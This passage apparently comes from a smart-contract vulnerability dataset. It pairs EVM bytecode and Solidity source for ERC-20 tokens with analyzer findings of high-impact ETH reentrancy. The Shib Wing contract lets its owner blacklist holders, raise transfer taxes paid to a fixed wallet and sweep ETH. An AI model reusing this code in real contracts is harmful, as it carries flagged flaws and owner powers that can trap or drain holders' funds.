53565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111db908590600090869030904290600401611a34565b600060405180830381600087803b1580156111f557600080fd5b505af1158015611209573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061122b8385611aa5565b90508381101561109d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045c565b600f805460ff60a81b1916600160a81b17905580156112a3576112a33061dead83610c77565b50600f805460ff60a81b19169055565b610fa7838383611323565b60008060006112cb61141a565b90925090506112da82826112e1565b9250505090565b600061109d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061145c565b6000806000806000806113358761148a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061136790876114e7565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611396908661121e565b6001600160a01b0389166000908152600260205260409020556113b881611529565b6113c28483611573565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161140791815260200190565b60405180910390a3505050505050505050565b600754600090819068056bc75e2d6310000061143682826112e1565b8210156114535750506007549268056bc75e2d6310000092509050565b90939092509050565b6000818361147d5760405162461bcd60e51b815260040161045c91906116bb565b506000610fdd84866119fb565b60008060008060008060008060006114a78a600954600a54611597565b92509250925060006114b76112be565b905060008060006114ca8e8787876115ec565b919e509c509a509598509396509194505050505091939550919395565b600061109d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fac565b60006115336112be565b90506000611541838361163c565b3060009081526002602052604090205490915061155e908261121e565b30600090815260026020526040902055505050565b60075461158090836114e7565b600755600854611590908261121e565b6008555050565b60008080806115b160646115ab898961163c565b906112e1565b905060006115c460646115ab8a8961163c565b905060006115dc826115d68b866114e7565b906114e7565b9992985090965090945050505050565b60008080806115fb888661163c565b90506000611609888761163c565b90506000611617888861163c565b90506000611629826115d686866114e7565b939b939a50919850919650505050505050565b60008261164b5750600061042c565b60006116578385611abd565b90508261166485836119fb565b1461109d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045c565b600060208083528351808285015260005b818110156116e8578581018301518582016040015282016116cc565b818111156116fa576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461047b57600080fd5b803561173081611710565b919050565b6000806040838503121561174857600080fd5b823561175381611710565b946020939093013593505050565b60006020828403121561177357600080fd5b5035919050565b60008060006060848603121561178f57600080fd5b833561179a81611710565b925060208401356117aa81611710565b929592945050506040919091013590565b6000602082840312156117cd57600080fd5b813561109d81611710565b801515811461047b57600080fd5b6000602082840312156117f857600080fd5b813561109d816117d8565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561182c57600080fd5b823567ffffffffffffffff8082111561184457600080fd5b818501915085601f83011261185857600080fd5b81358181111561186a5761186a611803565b8060051b604051601f19603f8301168101818110858211171561188f5761188f611803565b6040529182528482019250838101850191888311156118ad57600080fd5b938501935b828510156118d2576118c385611725565b845293850193928501926118b2565b98975050505050505050565b600080604083850312156118f157600080fd5b82356118fc81611710565b9150602083013561190c81611710565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561195e57600080fd5b815161109d81611710565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156119a9576119a961197f565b5060010190565b6000806000606084860312156119c557600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156119f057600080fd5b815161109d816117d8565b600082611a1857634e487b7160e01b600052601260045260246000fd5b500490565b600082821015611a2f57611a2f61197f565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a845784516001600160a01b031683529383019391830191600101611a5f565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ab857611ab861197f565b500190565b6000816000190483118215151615611ad757611ad761197f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207b7a3a648b161a1c498d76d993267b3b4e2bbcef8126d13ae7ae4f96c9abc49564736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,808
0x0b601b2dc40bd0befde1e0e235d63a416e5c024b
/** *Submitted for verification at Etherscan.io on 2022-03-03 */ /* $SHIBWING Website: https://shibwing.com/ Tg: https://t.me/shibwing Twitter: https://twitter.com/shib_wing Launch Cap - 10k Max transaction - 1% */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract shibwingeth is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "Shib Wing"; string private constant _symbol = "SHIBWING"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0xaBB812558E60F32266Dfd8143E17D1420Ed895e2); _buyTax = 12; _sellTax = 12; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setremoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { require(amount <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 10_000_000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 10_000_000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 31) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 31) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610349578063c3c8cd8014610369578063c9567bf91461037e578063dbe8272c14610393578063dc1052e2146103b3578063dd62ed3e146103d357600080fd5b8063715018a6146102a65780638da5cb5b146102bb57806395d89b41146102e35780639e78fb4f14610314578063a9059cbb1461032957600080fd5b806323b872dd116100f257806323b872dd14610215578063273123b714610235578063313ce567146102555780636fc3eaec1461027157806370a082311461028657600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b3146101a057806318160ddd146101d05780631bbae6e0146101f557600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611876565b610419565b005b34801561016857600080fd5b50604080518082019091526009815268536869622057696e6760b81b60208201525b60405161019791906118f3565b60405180910390f35b3480156101ac57600080fd5b506101c06101bb366004611784565b61046a565b6040519015158152602001610197565b3480156101dc57600080fd5b50670de0b6b3a76400005b604051908152602001610197565b34801561020157600080fd5b5061015a6102103660046118ae565b610481565b34801561022157600080fd5b506101c0610230366004611744565b6104c3565b34801561024157600080fd5b5061015a6102503660046116d4565b61052c565b34801561026157600080fd5b5060405160098152602001610197565b34801561027d57600080fd5b5061015a610577565b34801561029257600080fd5b506101e76102a13660046116d4565b6105ab565b3480156102b257600080fd5b5061015a6105cd565b3480156102c757600080fd5b506000546040516001600160a01b039091168152602001610197565b3480156102ef57600080fd5b506040805180820190915260088152675348494257494e4760c01b602082015261018a565b34801561032057600080fd5b5061015a610641565b34801561033557600080fd5b506101c0610344366004611784565b610880565b34801561035557600080fd5b5061015a6103643660046117af565b61088d565b34801561037557600080fd5b5061015a610931565b34801561038a57600080fd5b5061015a610971565b34801561039f57600080fd5b5061015a6103ae3660046118ae565b610b37565b3480156103bf57600080fd5b5061015a6103ce3660046118ae565b610b6f565b3480156103df57600080fd5b506101e76103ee36600461170c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b0316331461044c5760405162461bcd60e51b815260040161044390611946565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610477338484610ba7565b5060015b92915050565b6000546001600160a01b031633146104ab5760405162461bcd60e51b815260040161044390611946565b662386f26fc100008111156104c05760108190555b50565b60006104d0848484610ccb565b610522843361051d85604051806060016040528060288152602001611ac4602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fc2565b610ba7565b5060019392505050565b6000546001600160a01b031633146105565760405162461bcd60e51b815260040161044390611946565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105a15760405162461bcd60e51b815260040161044390611946565b476104c081610ffc565b6001600160a01b03811660009081526002602052604081205461047b90611036565b6000546001600160a01b031633146105f75760405162461bcd60e51b815260040161044390611946565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066b5760405162461bcd60e51b815260040161044390611946565b600f54600160a01b900460ff16156106c55760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610443565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072557600080fd5b505afa158015610739573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075d91906116f0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a557600080fd5b505afa1580156107b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107dd91906116f0565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082557600080fd5b505af1158015610839573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085d91906116f0565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610477338484610ccb565b6000546001600160a01b031633146108b75760405162461bcd60e51b815260040161044390611946565b60005b815181101561092d576001600660008484815181106108e957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092581611a59565b9150506108ba565b5050565b6000546001600160a01b0316331461095b5760405162461bcd60e51b815260040161044390611946565b6000610966306105ab565b90506104c0816110ba565b6000546001600160a01b0316331461099b5760405162461bcd60e51b815260040161044390611946565b600e546109bb9030906001600160a01b0316670de0b6b3a7640000610ba7565b600e546001600160a01b031663f305d71947306109d7816105ab565b6000806109ec6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4f57600080fd5b505af1158015610a63573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a8891906118c6565b5050600f8054662386f26fc1000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610aff57600080fd5b505af1158015610b13573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c09190611892565b6000546001600160a01b03163314610b615760405162461bcd60e51b815260040161044390611946565b601f8110156104c057600b55565b6000546001600160a01b03163314610b995760405162461bcd60e51b815260040161044390611946565b601f8110156104c057600c55565b6001600160a01b038316610c095760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610443565b6001600160a01b038216610c6a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610443565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d2f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610443565b6001600160a01b038216610d915760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610443565b60008111610df35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610443565b6001600160a01b03831660009081526006602052604090205460ff1615610e1957600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e5b57506001600160a01b03821660009081526005602052604090205460ff16155b15610fb2576000600955600c54600a55600f546001600160a01b038481169116148015610e965750600e546001600160a01b03838116911614155b8015610ebb57506001600160a01b03821660009081526005602052604090205460ff16155b8015610ed05750600f54600160b81b900460ff165b15610ee457601054811115610ee457600080fd5b600f546001600160a01b038381169116148015610f0f5750600e546001600160a01b03848116911614155b8015610f3457506001600160a01b03831660009081526005602052604090205460ff16155b15610f45576000600955600b54600a555b6000610f50306105ab565b600f54909150600160a81b900460ff16158015610f7b5750600f546001600160a01b03858116911614155b8015610f905750600f54600160b01b900460ff165b15610fb057610f9e816110ba565b478015610fae57610fae47610ffc565b505b505b610fbd83838361125f565b505050565b60008184841115610fe65760405162461bcd60e51b815260040161044391906118f3565b506000610ff38486611a42565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561092d573d6000803e3d6000fd5b600060075482111561109d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610443565b60006110a761126a565b90506110b3838261128d565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061111057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561116457600080fd5b505afa158015611178573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119c91906116f0565b816001815181106111bd57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111e39130911684610ba7565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061121c90859060009086903090429060040161197b565b600060405180830381600087803b15801561123657600080fd5b505af115801561124a573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610fbd8383836112cf565b60008060006112776113c6565b9092509050611286828261128d565b9250505090565b60006110b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611406565b6000806000806000806112e187611434565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113139087611491565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461134290866114d3565b6001600160a01b03891660009081526002602052604090205561136481611532565b61136e848361157c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113b391815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006113e1828261128d565b8210156113fd57505060075492670de0b6b3a764000092509050565b90939092509050565b600081836114275760405162461bcd60e51b815260040161044391906118f3565b506000610ff38486611a03565b60008060008060008060008060006114518a600954600a546115a0565b925092509250600061146161126a565b905060008060006114748e8787876115f5565b919e509c509a509598509396509194505050505091939550919395565b60006110b383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fc2565b6000806114e083856119eb565b9050838110156110b35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610443565b600061153c61126a565b9050600061154a8383611645565b3060009081526002602052604090205490915061156790826114d3565b30600090815260026020526040902055505050565b6007546115899083611491565b60075560085461159990826114d3565b6008555050565b60008080806115ba60646115b48989611645565b9061128d565b905060006115cd60646115b48a89611645565b905060006115e5826115df8b86611491565b90611491565b9992985090965090945050505050565b60008080806116048886611645565b905060006116128887611645565b905060006116208888611645565b90506000611632826115df8686611491565b939b939a50919850919650505050505050565b6000826116545750600061047b565b60006116608385611a23565b90508261166d8583611a03565b146110b35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610443565b80356116cf81611aa0565b919050565b6000602082840312156116e5578081fd5b81356110b381611aa0565b600060208284031215611701578081fd5b81516110b381611aa0565b6000806040838503121561171e578081fd5b823561172981611aa0565b9150602083013561173981611aa0565b809150509250929050565b600080600060608486031215611758578081fd5b833561176381611aa0565b9250602084013561177381611aa0565b929592945050506040919091013590565b60008060408385031215611796578182fd5b82356117a181611aa0565b946020939093013593505050565b600060208083850312156117c1578182fd5b823567ffffffffffffffff808211156117d8578384fd5b818501915085601f8301126117eb578384fd5b8135818111156117fd576117fd611a8a565b8060051b604051601f19603f8301168101818110858211171561182257611822611a8a565b604052828152858101935084860182860187018a1015611840578788fd5b8795505b8386101561186957611855816116c4565b855260019590950194938601938601611844565b5098975050505050505050565b600060208284031215611887578081fd5b81356110b381611ab5565b6000602082840312156118a3578081fd5b81516110b381611ab5565b6000602082840312156118bf578081fd5b5035919050565b6000806000606084860312156118da578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561191f57858101830151858201604001528201611903565b818111156119305783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119ca5784516001600160a01b0316835293830193918301916001016119a5565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119fe576119fe611a74565b500190565b600082611a1e57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a3d57611a3d611a74565b500290565b600082821015611a5457611a54611a74565b500390565b6000600019821415611a6d57611a6d611a74565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104c057600080fd5b80151581146104c057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122010582c48eec45b174546266b727c4d96599b0b3efb1a8560708ebe865632656a64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,809
0xd1a616cd3bd9db97639ec484d843d37f2caa3035
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract AgroLyte is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public Claimed; string public constant name = "AgroLyte Token"; string public constant symbol = "AGR"; uint public constant decimals = 8; uint public deadline = now + 37 * 1 days; uint public round2 = now + 32 * 1 days; uint public round1 = now + 17 * 1 days; uint256 public totalSupply = 21000000000e8; uint256 public totalDistributed; uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether uint256 public tokensPerEth = 5000000e8; uint public target0drop = 2500; uint public progress0drop = 0; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); event Add(uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { uint256 companyFund = 13230000000e8; owner = msg.sender; distr(owner, companyFund); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function Distribute(address _participant, uint _amount) onlyOwner internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function DistributeAirdrop(address _participant, uint _amount) onlyOwner 